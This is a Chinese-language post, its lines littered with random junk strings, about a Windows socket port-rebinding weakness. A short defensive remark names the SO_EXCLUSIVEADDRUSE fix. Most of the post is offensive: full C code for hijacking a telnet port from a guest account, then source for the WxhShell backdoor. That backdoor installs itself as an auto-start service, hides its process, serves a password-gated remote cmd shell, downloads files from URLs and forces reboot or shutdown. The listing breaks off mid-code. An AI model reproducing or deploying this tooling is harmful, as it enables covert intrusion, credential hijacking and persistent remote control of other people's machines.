在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6g!#"=ls; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
j4le../N 8Uvf9,I' saddr.sin_family = AF_INET;
#6_?7 (X MC/$:PV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
sMli! u EuqmA7s8A bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~)D2U:"^xm 0\wMlV`F 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
kf0zL3| E=w $r 这意味着什么?意味着可以进行如下的攻击:
C/e`O|G BD,JBu] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
UuAn`oYhV 3 S:}fPR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-B$oq8)n* US'X9=b_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
OekcU%C Kwfrh? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4QK([q JiP]FJ; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&6,GX7]Fo 8iD_md_[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
h$~ NPX nG$*[7<0u 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*(L4rK\2 ^o"9f1s 5 #include
P6S^wjk #include
8nQlmWpJ #include
a9"x_IVU #include
*D F5sY DWORD WINAPI ClientThread(LPVOID lpParam);
('W#r" int main()
eg)=^b {
}_0?S0<# WORD wVersionRequested;
79u L"N; DWORD ret;
OCo=h|qBp WSADATA wsaData;
<!K2xb-d^ BOOL val;
v*QobI SOCKADDR_IN saddr;
z]Z>+| SOCKADDR_IN scaddr;
5wRDH1z@{ int err;
>9F,=63A SOCKET s;
Q <^'v>~n SOCKET sc;
b.h~QyI/W int caddsize;
kX\t0'=] HANDLE mt;
J7emoD[ DWORD tid;
O~9
%!LAu wVersionRequested = MAKEWORD( 2, 2 );
6YrkS;_HS err = WSAStartup( wVersionRequested, &wsaData );
.Q?cNSWU if ( err != 0 ) {
5)V J printf("error!WSAStartup failed!\n");
<X
j:c2@ return -1;
W DY,? }
(p68Qe%OuG saddr.sin_family = AF_INET;
Lh"Je-x<< @= 6}w_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3w
?)H VGM8&J{o' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h -+vM9j saddr.sin_port = htons(23);
!zvKl;yT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
it5].A& {
waQNX7Xdn printf("error!socket failed!\n");
HvK<>9 return -1;
E92dSLhs5 }
<y6M@(b val = TRUE;
:r:5a(sq //SO_REUSEADDR选项就是可以实现端口重绑定的
v(FO8*5DZ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Dq*>+1eW2 {
~!,'z printf("error!setsockopt failed!\n");
'7
6}6G% return -1;
nBaY| }
sJ7r9O`x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
YQ4;X8I`r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Bca\grA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9,82Uta Sq UoXNw if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'_g8fz
3 {
jbn{5af ret=GetLastError();
Ngu+V printf("error!bind failed!\n");
engql; return -1;
QSAz:Yvf| }
EHcqj;@m listen(s,2);
X;v/$=-mz while(1)
%K;,qS'N_ {
"xa<Q%hk caddsize = sizeof(scaddr);
j?+FS`a! //接受连接请求
Xl2Fgg}# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
y{s?]hLk if(sc!=INVALID_SOCKET)
:!N 5daK {
t\CVL?e` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Zdl Z,vK^. if(mt==NULL)
_V1O =iu- {
Up*p*(d3 printf("Thread Creat Failed!\n");
hrNri$ break;
|M[E^ }
k^p|H: }
MH 'S,^J CloseHandle(mt);
tKo^A:M }
un6grvxr closesocket(s);
C"<l} WSACleanup();
}7g\1l\ return 0;
I`t"Na2i }
0LrTYrlj DWORD WINAPI ClientThread(LPVOID lpParam)
pxM^|?Hxc {
+yVz)
X SOCKET ss = (SOCKET)lpParam;
(JocnM|U SOCKET sc;
x{Gb4=?l unsigned char buf[4096];
TRcY! SOCKADDR_IN saddr;
C=h$8Q long num;
Dsm_T1X DWORD val;
:v* _Ay DWORD ret;
Ol~sCr //如果是隐藏端口应用的话,可以在此处加一些判断
s IY`H^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)|XmF4R saddr.sin_family = AF_INET;
Ua,Lg.z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
k5$_Q# saddr.sin_port = htons(23);
p;"pTGoWi if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E&#AX: {
R4_4 FEo printf("error!socket failed!\n");
w-AF5%gX return -1;
iPa!pg4m }
8 %Lq~lk val = 100;
*"P
:ySA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z(:0@ 5 {
\Bw9%P~ G ret = GetLastError();
%njX'7^u return -1;
G=jdb@V/? }
WT;=K0W6& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`*&*jdq&i {
Nw+0b4{ ret = GetLastError();
S?D|"#-, return -1;
zob^z@2 }
^a[7qX_B if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
aM9^V MOb {
\%KJ+PJ printf("error!socket connect failed!\n");
KR^lmN closesocket(sc);
1wW8D>f]K closesocket(ss);
x9a*^l return -1;
KX"?3#U#Fm }
t*.O >$[ while(1)
o`+6E
q0w {
XK`>#*"V //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
R."<he ; //如果是嗅探内容的话,可以再此处进行内容分析和记录
{[jcT>.3j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5H6m{ng num = recv(ss,buf,4096,0);
fv5'Bl if(num>0)
w+=>b send(sc,buf,num,0);
;'`T else if(num==0)
[`Ol&R4k break;
d8C?m*3J num = recv(sc,buf,4096,0);
!?DPI) if(num>0)
f h)Cz) send(ss,buf,num,0);
I')URk[ else if(num==0)
2_x}wB0P break;
_ ;O$ot\5 }
/j0<x^m/ closesocket(ss);
%DqF_4U 9 closesocket(sc);
A@Z&ZBDg return 0 ;
y5kqnibh@ }
3=o3VGZP U)=StpTT B0?E$8a ==========================================================
"6['!rq0 _'ltz!~ 下边附上一个代码,,WXhSHELL
H~i+:X=I 8v8?D8\=| ==========================================================
uH^/\ .</d$FM JE #include "stdafx.h"
R61.!ql%w ctTg-J2. #include <stdio.h>
V()s!w #include <string.h>
<*V%!pwIG #include <windows.h>
yH;=Y1([ #include <winsock2.h>
MBIt)d@Ix #include <winsvc.h>
N|O/3:P<,U #include <urlmon.h>
=<YG0K 2o] V q #pragma comment (lib, "Ws2_32.lib")
~k/'_1)c #pragma comment (lib, "urlmon.lib")
_VMW-trG zy(sekX; #define MAX_USER 100 // 最大客户端连接数
k:Da+w_'1 #define BUF_SOCK 200 // sock buffer
"A~\$ #define KEY_BUFF 255 // 输入 buffer
awB1ryrOF 89v9BWF #define REBOOT 0 // 重启
DxdiXf[j #define SHUTDOWN 1 // 关机
j5Vyo> b] DF7 U #define DEF_PORT 5000 // 监听端口
%`F6>J ^Y8?iC<+ #define REG_LEN 16 // 注册表键长度
b6RuYwHWV0 #define SVC_LEN 80 // NT服务名长度
{VE\}zKF #~ ^#%G // 从dll定义API
y#F( xm+L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g>12!2} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#(j'?|2o% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
SQDllG84E typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jutEb@nog ]{jdar^ // wxhshell配置信息
1\z5[
_ struct WSCFG {
e%uPZ >'q int ws_port; // 监听端口
oTS*k:
C' char ws_passstr[REG_LEN]; // 口令
luACdC int ws_autoins; // 安装标记, 1=yes 0=no
-|\V' char ws_regname[REG_LEN]; // 注册表键名
;+'x_'a char ws_svcname[REG_LEN]; // 服务名
c~3OK_k char ws_svcdisp[SVC_LEN]; // 服务显示名
V2Q2(yvdJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
|Gx-c
,{{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
OC nQSkj int ws_downexe; // 下载执行标记, 1=yes 0=no
QFY1@2EC char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F" FGPk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
tV%:sk^d $bI VD };
}xcA`w3u2? =3$JeNK9 // default Wxhshell configuration
Qh<_/X? struct WSCFG wscfg={DEF_PORT,
,j>A[e&. "xuhuanlingzhe",
/oKa?iT 1,
|k1(|)%G "Wxhshell",
#!wu}nDu "Wxhshell",
z$ZG`v>0 "WxhShell Service",
&}_ $@ "Wrsky Windows CmdShell Service",
;9PJ K5>~ "Please Input Your Password: ",
87l(a,#J 1,
%ZF47P%6 "
http://www.wrsky.com/wxhshell.exe",
[v( \y "Wxhshell.exe"
Q '/v-bd?o };
X:+lD58 Tf(-Duxz
// 消息定义模块
R".~{6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Yj)H!Cp.xD char *msg_ws_prompt="\n\r? for help\n\r#>";
0}}b\!]9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
xTiC[<j char *msg_ws_ext="\n\rExit.";
f40 xS7-Q0 char *msg_ws_end="\n\rQuit.";
R8O;8c?D char *msg_ws_boot="\n\rReboot...";
1vk&; char *msg_ws_poff="\n\rShutdown...";
Opx"'HC@G char *msg_ws_down="\n\rSave to ";
OPOL-2<wiy bHZXMUewC char *msg_ws_err="\n\rErr!";
nb::, char *msg_ws_ok="\n\rOK!";
]awu7}C9Z luXcr
H+w char ExeFile[MAX_PATH];
0`VA}c int nUser = 0;
Mhp6,JL HANDLE handles[MAX_USER];
3]"RaI4Q0 int OsIsNt;
V<:scLm#OF wXI6KN- SERVICE_STATUS serviceStatus;
+NWhvs SERVICE_STATUS_HANDLE hServiceStatusHandle;
'0|0rwx xo3bY6<n // 函数声明
V_+XZ+7Lx} int Install(void);
}GI8p* ]o= int Uninstall(void);
-7{ qTe{ int DownloadFile(char *sURL, SOCKET wsh);
9>?3FMKdY int Boot(int flag);
)RV.N}NU void HideProc(void);
<*k]Aa3y int GetOsVer(void);
uU_lC5A| int Wxhshell(SOCKET wsl);
UP]X,H~stU void TalkWithClient(void *cs);
6+`+$s0 int CmdShell(SOCKET sock);
_=l8e-6r int StartFromService(void);
3"afrA int StartWxhshell(LPSTR lpCmdLine);
d h5% /`$9H| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
q$IgkL VOID WINAPI NTServiceHandler( DWORD fdwControl );
Jd#g"a>zZ "g}m xPe // 数据结构和表定义
x[L/d"Wf SERVICE_TABLE_ENTRY DispatchTable[] =
>F7v'-*{ {
vU|=" # {wscfg.ws_svcname, NTServiceMain},
|hGi8 {NULL, NULL}
4:m/w!q$ };
d0ZbusHHb QE8;Jk- // 自我安装
J;@g#h? int Install(void)
Y6<"_ {
93I.Wp_{ char svExeFile[MAX_PATH];
'KL!)}B$h HKEY key;
ROH 2KSt strcpy(svExeFile,ExeFile);
.$&_fUY )/uu~9SFd // 如果是win9x系统,修改注册表设为自启动
o}QtKf)W if(!OsIsNt) {
U4PnQ
K, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-hv<8bC~4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&\K p_ AR RegCloseKey(key);
3jx5Lou)& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z'/sZ3Q} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W<']Q_su RegCloseKey(key);
6IRzm6d return 0;
leY fF }
";vP77|m7R }
)S~ySiJ<U }
?
}t[ else {
{Ee[rAVGp DX|yL!4[ // 如果是NT以上系统,安装为系统服务
d^-sxl3} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Q--Hf$D]H if (schSCManager!=0)
iH&BhbRu_ {
U`*L` PM SC_HANDLE schService = CreateService
vfnVN@ 5 (
..u2IdEu schSCManager,
gFBMARxi wscfg.ws_svcname,
)o51QgPy wscfg.ws_svcdisp,
#21t8 SERVICE_ALL_ACCESS,
Dx:2/"v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
N5]}m:"pk SERVICE_AUTO_START,
CEOD$nYc SERVICE_ERROR_NORMAL,
JY6&CL`C svExeFile,
*(c><N NULL,
)2lzPK t NULL,
? |}%A9 NULL,
hlIh(\JZ4s NULL,
)wFr%wNe NULL
:>G3N+A) );
s01W_P .@R if (schService!=0)
T~Z7kc' {
U`25bb1Wj CloseServiceHandle(schService);
6B pm+} CloseServiceHandle(schSCManager);
>n!,KUu] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sD_" strcat(svExeFile,wscfg.ws_svcname);
OsSGVk #Qh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
gJkvH[hDY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
I[td:9+hK@ RegCloseKey(key);
ICbT{Mla return 0;
]Sl]G6#Iwv }
IJnh@?BC }
+xGz~~iNh CloseServiceHandle(schSCManager);
}iu(-{Z }
97XGJ1HI }
Z3jtq-y 3B+
F'k return 1;
aC9PlKI }
S zqY@ BkO)hze // 自我卸载
4R8W ot int Uninstall(void)
+|SvJ {
+0)zB;~7 HKEY key;
F~qiNV R3`Rrj Z if(!OsIsNt) {
`% a+LU2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\Gzo^w RegDeleteValue(key,wscfg.ws_regname);
Gb?O-z%8* RegCloseKey(key);
$IdY(f:.:5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^Ko{#qbl/ RegDeleteValue(key,wscfg.ws_regname);
>mWu+Nn: RegCloseKey(key);
BAQ;.N4 return 0;
4t Z. T9d }
A&dNCB }
74hQ?Atw: }
tWo MUp else {
bM%c*_$F7 -4}I02 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vW\|%
@hW, if (schSCManager!=0)
W@:a3RJ {
K9BoIHo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9Ytd E*,k if (schService!=0)
0xNlO9b/ {
y
8./)W&/ if(DeleteService(schService)!=0) {
TNvE26.( CloseServiceHandle(schService);
#h#Bcv0 Z CloseServiceHandle(schSCManager);
|>Xw"]b; return 0;
TYs#v/)I }
YflotlT} CloseServiceHandle(schService);
1V@\L|Y }
E\%'/3o CloseServiceHandle(schSCManager);
INHN=KY{ }
0lvX,78G ; }
VB?mr13}G H=7z d|W return 1;
o`@B*, @ }
~6hG"t]: I8<s4q
// 从指定url下载文件
ElEa*70~g int DownloadFile(char *sURL, SOCKET wsh)
<_|H]^o {
v {H3DgyG HRESULT hr;
`Al[gG?/! char seps[]= "/";
.)wj{(>TJ char *token;
/)ubyl]^p char *file;
vGk}r char myURL[MAX_PATH];
rLzYkZ char myFILE[MAX_PATH];
;[_w&"[6a )~](qLSl strcpy(myURL,sURL);
^1%gQ@P token=strtok(myURL,seps);
,yC-QFQE while(token!=NULL)
p2=Sbb {
1qs~[7{C1 file=token;
$=97M.E token=strtok(NULL,seps);
mndUQN_Gb }
o6} +5 0shNwV1zF GetCurrentDirectory(MAX_PATH,myFILE);
wFW2m strcat(myFILE, "\\");
Efb S*f5 strcat(myFILE, file);
P7Th94 send(wsh,myFILE,strlen(myFILE),0);
WAj26";M( send(wsh,"...",3,0);
{,5=U@J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}}GBCXAf_ if(hr==S_OK)
'z#{'`$a return 0;
(VPT% l6 else
n9zS'VU return 1;
by {G{M`X ,{C(<1 }
GXEOgf#i /WDz;,X // 系统电源模块
cZRLYOC int Boot(int flag)
r: _-Cj {
cVZCBcKC? HANDLE hToken;
^"w.v' sL TOKEN_PRIVILEGES tkp;
;z9( NVnKgGlHgd if(OsIsNt) {
Bx&.Tj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Y/t:9Aau LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?80@+y] tkp.PrivilegeCount = 1;
+ R)x5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Q#@gOn=W\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
lQ%]](a6 if(flag==REBOOT) {
's{-1aW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
h(;qnV'c return 0;
o8P 5C4y }
hfY
Ieb#91 else {
jl<rxO?-F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^i{B8]2, return 0;
%*.;3;m }
&)vX7*j }
(8s]2\/Ar else {
r\Wp\LfY&{ if(flag==REBOOT) {
j$*]'s&_hZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-Uz
xs5Zl return 0;
1K'0ajl1A }
h^P>pI~ else {
m_H$fioha, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
y(:hN) return 0;
sBIqee'T }
0EM`,?i .Q }
<69/ZI),Y{ /KEPPp return 1;
g 1\4Jb }
u[U~`*i*rA do{#y*B/g! // win9x进程隐藏模块
8w|j Z@ void HideProc(void)
G'(
%8\ {
6|#^4D)
pBt/vS ad HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
\n850PS if ( hKernel != NULL )
@A6\v+ih {
n@BE*I<" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+1p>:cih ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0D>~uNcT} FreeLibrary(hKernel);
Iz2K }
3V`K^X3 rsfA.o return;
K0]'v>AWr }
w\;=3C` ?ZSG4La\ // 获取操作系统版本
v,RLN`CID int GetOsVer(void)
2 c'=^0: {
@yaBtZUp3 OSVERSIONINFO winfo;
+byw*Kk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!23W=N}82 GetVersionEx(&winfo);
}i/&m&VU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
F|V_iC+ return 1;
+D4Nu+~BSN else
p;j$i6YJ return 0;
0|{U"\ }
]t1)8v2w> `q e L$` // 客户端句柄模块
W.\HfJ74 int Wxhshell(SOCKET wsl)
i#1T68y} {
P58U8MEG SOCKET wsh;
44?5]C7 struct sockaddr_in client;
6!bA~"N DWORD myID;
(k
M\R| Xr M[8a while(nUser<MAX_USER)
KLqu[{y.' {
;sNyN# int nSize=sizeof(client);
_dsd{& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P1
(8foZA if(wsh==INVALID_SOCKET) return 1;
>
Q@*o (eJr-xZ/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{H $\, if(handles[nUser]==0)
dqUhp_f2qK closesocket(wsh);
F4Ft~:a else
^V_acAuS^ nUser++;
V{Idj\~Jh }
KN~E9oGs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2O9dU 5b ]-%ZN+ return 0;
/~7H<^} }
:c)<B@NqNo 30>TxL=& // 关闭 socket
Eg-b5Z); void CloseIt(SOCKET wsh)
#Opfc8pm' {
'[Oi_gE. closesocket(wsh);
AXPUJ?V nUser--;
qvYYKu ExitThread(0);
~c?yHpZx% }
~uC4>+dk /l+x&xYD // 客户端请求句柄
j\dkv_L void TalkWithClient(void *cs)
M|d[iaM, {
8)"KPr63M Y hLtf(r SOCKET wsh=(SOCKET)cs;
6{lWUr char pwd[SVC_LEN];
bdaZ{5^{ char cmd[KEY_BUFF];
f,M$>!$V char chr[1];
(P`{0^O"} int i,j;
8ZG'?A+{ #4na>G| while (nUser < MAX_USER) {
tsfOPth$* |,sUD/rt if(wscfg.ws_passstr) {
J@Zm8r< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
).oqlA! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
XN=<s;U //ZeroMemory(pwd,KEY_BUFF);
5\=9&{WjND i=0;
ts?b[v while(i<SVC_LEN) {
,C&h~uRi#f 6^{ hY^Z // 设置超时
lBG*P>; fd_set FdRead;
82J0t}:U struct timeval TimeOut;
fy_'K}i3k FD_ZERO(&FdRead);
#Z$6>
Xt FD_SET(wsh,&FdRead);
& p_;&P_ TimeOut.tv_sec=8;
p6Z]oL q TimeOut.tv_usec=0;
i $I|JJJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:-"J)^V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{]D!@87 ziH2<@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
j~Gu;%tq pwd
=chr[0]; bq(*r:`"
if(chr[0]==0xd || chr[0]==0xa) { [PX'Jer
pwd=0; X'?v8\mPK
break; &2xYG{Z
} Jh466;
E
i++; [0 &Lvx
} ]NFDE-Jz]
G=nFs)z
// 如果是非法用户,关闭 socket :!} zdeRJ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lC_zSmT
} Cg{$$&_(Hj
qsk71L
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); er#we=h
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \o
% ES
r`B+ KQ4
while(1) { e#nTp b
3&y
u
ZeroMemory(cmd,KEY_BUFF); 3@"VS_;?
iL,3g[g
// 自动支持客户端 telnet标准 ItaJgtsV
j=0; B:mlBSH
while(j<KEY_BUFF) { .9^;? Ts
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (B$FX<K3
cmd[j]=chr[0]; *e>:K$r
if(chr[0]==0xa || chr[0]==0xd) { e0$mu?wd-
cmd[j]=0; bR8)s{p6
break; SD.ze(P
} OT *W]f
j++; .ERO*Tj
} 2~`dV_
,o}[q92@w
// 下载文件 Y4714
if(strstr(cmd,"http://")) { &9ZIf#R
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H~G=0_S
if(DownloadFile(cmd,wsh)) CqX%V":2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aZ0H)
else \!^o<$s.G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Aj`4uFhiL
} C|lMXp\*
else { unX^ MPpw
}jk^M|Z"Oz
switch(cmd[0]) { >{??/fBd-
>b$<lo
// 帮助
;<][upn
case '?': { dY|jV}%T
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hqds T
break; ~%}g"|o
} d:wAI|
// 安装 2 sOc]L:9
case 'i': { 4dok/ +Ec
if(Install()) Qdn:4yk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -qEr-[z
else f7W=x6Z4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W1!eY,1}
break; Z0:BXtW
} Grub1=6l
// 卸载 +]e4c;`ko}
case 'r': { 5 O6MI4:
if(Uninstall()) FD-)nv2:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b;O+QRa
else 8&;dR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }dR*bG
break; n^%u9H
} vJ'ho
// 显示 wxhshell 所在路径 s6]f#s5o
case 'p': { bc"N
char svExeFile[MAX_PATH]; POG5x
strcpy(svExeFile,"\n\r"); +OH."4Z
strcat(svExeFile,ExeFile); V&nN/CF
send(wsh,svExeFile,strlen(svExeFile),0); .=FJ5?:4i%
break; #Nd+X@j
} 2X]\:<[4
// 重启 B>mQ\Q
case 'b': { !INr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pqr"x2=.
if(Boot(REBOOT)) a&[n Vu+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BY d3 rI
else { ={Hbx>p
closesocket(wsh); aF=VJ+5
ExitThread(0); o MAK[$k;
} =ht@7z8QM
break; EAkP[au.
} L!G3u/
// 关机 zN:752d^+r
case 'd': { Cf N; `
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <>Im$N ai
if(Boot(SHUTDOWN)) ,rdM{ r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G~]BC#nB_
else { 3/e !7
closesocket(wsh); 1%+^SR72
ExitThread(0); D5p22WY
} FN
R&
:
break; gkdjH8(2
} o(zg_!P
// 获取shell L }mhMxOTi
case 's': { x9e
9$ww}
CmdShell(wsh); vK C>t95
closesocket(wsh); 4kM<L}J#
ExitThread(0); 'yNp J'
break; GND[f}
} g;h&Xkp
// 退出 9T1G/0k-
case 'x': { 6>Cubb>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t|m3b~Oyv
CloseIt(wsh); r:cUAe7#
break; x,%&[6(
} S@#L!sT`u
// 离开 -*A'6%`
case 'q': { &M!:,B
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "mf;k^sqS
closesocket(wsh); Xy{+=UY
WSACleanup(); uE$o4X
exit(1); 4Rn i7qH
break; }NXESZYoi
} 2~<0<^j/]
} _biJch
} D/WS
{JgN^R<5<f
// 提示信息 OOCeZ3yF(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kWd'gftQ
} t/Fe"T[,V
} UU;:x"4
z#4g,)ZX
return; 7'S]
} 63HkN4D4
{E/TC%
// shell模块句柄 kXr%73s
int CmdShell(SOCKET sock) GpL#,q Yc
{ E@FenCF
STARTUPINFO si; Xd6y7s
ZeroMemory(&si,sizeof(si)); f<wgZM
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tt\w^Gv\d
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '}u31V"SS
PROCESS_INFORMATION ProcessInfo; Pa}vmn1$
char cmdline[]="cmd"; hbeC|_+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0pFHE>
return 0; +mQSlEo
} d%3BJ+J
o__q)"^~-
// 自身启动模式 L
~w=O!
int StartFromService(void) 6{'6_4;Fv(
{ d3GK.8y_z
typedef struct meR2"JN'
{ MlFvDy
DWORD ExitStatus; jGn^<T\
DWORD PebBaseAddress; n lW&(cH
DWORD AffinityMask; 0, /x#
